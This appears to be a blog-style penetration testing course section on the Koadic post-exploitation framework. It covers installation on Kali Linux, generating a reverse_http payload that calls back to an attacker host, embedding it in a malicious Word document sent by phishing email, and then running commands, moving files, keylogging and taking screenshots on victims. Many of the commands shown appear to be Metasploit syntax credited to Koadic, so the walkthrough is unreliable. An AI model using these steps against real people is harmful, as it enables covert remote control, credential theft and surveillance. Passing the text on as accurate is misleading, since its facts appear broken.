# Koadic$ Penetration Testing Course – Section 1: Introduction
## Introduction to Koadic$
Koadic$ is a powerful post-exploitation framework that utilizes the capability of JavaScript to perform Remote Access Trojans (RAT) operations on targeted systems. Developed primarily for penetration testing, it provides an extensive set of tools to exploit and control compromised Windows machines. Koadic$ is known for its ability to maintain stealth during attacks, making it an invaluable tool for ethical hackers looking to simulate advanced threats.
This section will guide you through the installation and configuration of Koadic$, demonstrate its usage with step-by-step examples, and provide technical explanations alongside real-world use cases. By the end of this section, you'll be equipped to deploy Koadic$ effectively in various penetration testing scenarios.
## Installation and Configuration on Kali Linux
### Prerequisites
Before installing Koadic$, ensure that your Kali Linux environment is up to date. You can do this by running the following commands in your terminal:
"`bash
sudo apt update && sudo apt upgrade -y
"`
### Installing Koadic$
1. **Clone the Repository**: The first step is to clone the Koadic$ repository from GitHub. Open a terminal and execute:
git clone https://github.com/zerosum0x0/koadic.git
2. **Navigate to the Directory**: After cloning the repository, change your directory to the Koadic$ folder:
cd koadic
3. **Install Dependencies**: Koadic$ requires several Python packages. You can install the necessary dependencies by running:
pip install -r requirements.txt
Make sure Python 3 is installed on your system as Koadic$ might not work perfectly with Python 2.
4. **Run Koadic$**: You can start Koadic$ by executing:
python koadic.py
### Configuration
Koadic$ requires minimal configuration; however, you might want to tweak some settings depending on your testing environment.
1. **Configure the Listener**: By default, Koadic$ uses a local HTTP server to serve the payloads. You can modify the default listening address and port in the configuration settings found within the command-line interface.
2. **Set up Database**: Koadic$ utilizes a database to keep track of sessions and commands. Make sure to set up the database during the first launch or as prompted.
### Verification
To verify that Koadic$ is installed correctly, once you start the tool, you should see the Koadic$ command line interface:
"`
Koadic$>
"`
If you reach this prompt, congratulations! Koadic$ is successfully installed and ready for use.
## Step-by-Step Usage and Real-World Use Cases
### Generating and Delivering Payloads
Koadic$ primarily relies on JavaScript-based payloads to execute commands on a target machine. Here’s a step-by-step guide on how to create and deliver a payload.
1. **Create a Payload**: Start by generating a payload within the Koadic$ CLI:
use payloads/meterpreter/reverse_http
You will need to set the required options such as `LHOST` (your local host IP) and `LPORT` (the port on which your listener will run).
set LHOST 192.168.1.5
set LPORT 8080
2. **Generate the Payload**: Koadic$ can generate a variety of payload types. For example, if you're targeting a Microsoft Office application, you might create a Word document that delivers your payload when opened.
generate
This command will create a malicious Word document that you can deliver to the target.
3. **Deliver the Payload**: Once you have your payload, you need to deliver it to the target. This can be done through various social engineering tactics, such as phishing emails or exploits on shared networks.
### Establishing a Session
After the target executes the payload, you should have a session established within Koadic$. You can view active sessions by using:
"`bash
sessions
"`
From here, you can interact with the target machine by using:
"`bash
session [session_id]
"`
### Running Commands on the Target
With the session active, you can execute commands on the target system. For example, to retrieve the system information, use:
"`bash
sysinfo
"`
To execute a simple command like listing files in the current directory, you could use:
"`bash
execute -f cmd.exe -a "/c dir"
"`
### Real-World Use Case: Phishing Attack Simulation
One of the prevalent methods of exploiting vulnerabilities is through phishing attacks. For instance, a penetration tester simulating a phishing attack may create a document with the Koadic$ payload embedded. Here’s how it works:
– **Create a Suspicious Document**: Use Koadic$ to generate a malicious payload embedded in an innocuous Word document.
– **Send the Document**: Email the document to the target with a compelling reason to open it (e.g., “urgent documents for review”).
– **Establish Access**: Once the target opens the document, the payload executes, and a session is established in Koadic$, allowing the tester to execute commands and gather information.
### Advanced Command Usage
Koadic$ also supports various advanced commands you can execute on the target:
1. **File Upload/Download**: To upload a file to the target machine:
upload /path/to/local/file C:\pathtoremotefile
To download a file from the target to your local machine:
download C:\pathtoremotefile /path/to/local/file
2. **Keylogging**: Koadic$ has built-in keylogging capabilities:
keylogger start
3. **Screenshots**: Capturing a screenshot of the target system:
screenshot
### External Reference Links
1. [Koadic GitHub Repository](https://github.com/zerosum0x0/koadic)
2. [Metasploit Framework](https://metasploit.help.rapid7.com/docs)
3. [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/)
In conclusion, Koadic$ represents a versatile tool in the arsenal of a penetration tester. Its capabilities encompass not just exploitation but also post-exploitation activities, making it essential for thorough security assessments. As you progress through this course, you will learn deeper functionalities and customize Koadic$ to fit various test scenarios.
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Made by pablo rotem / פבלו רותם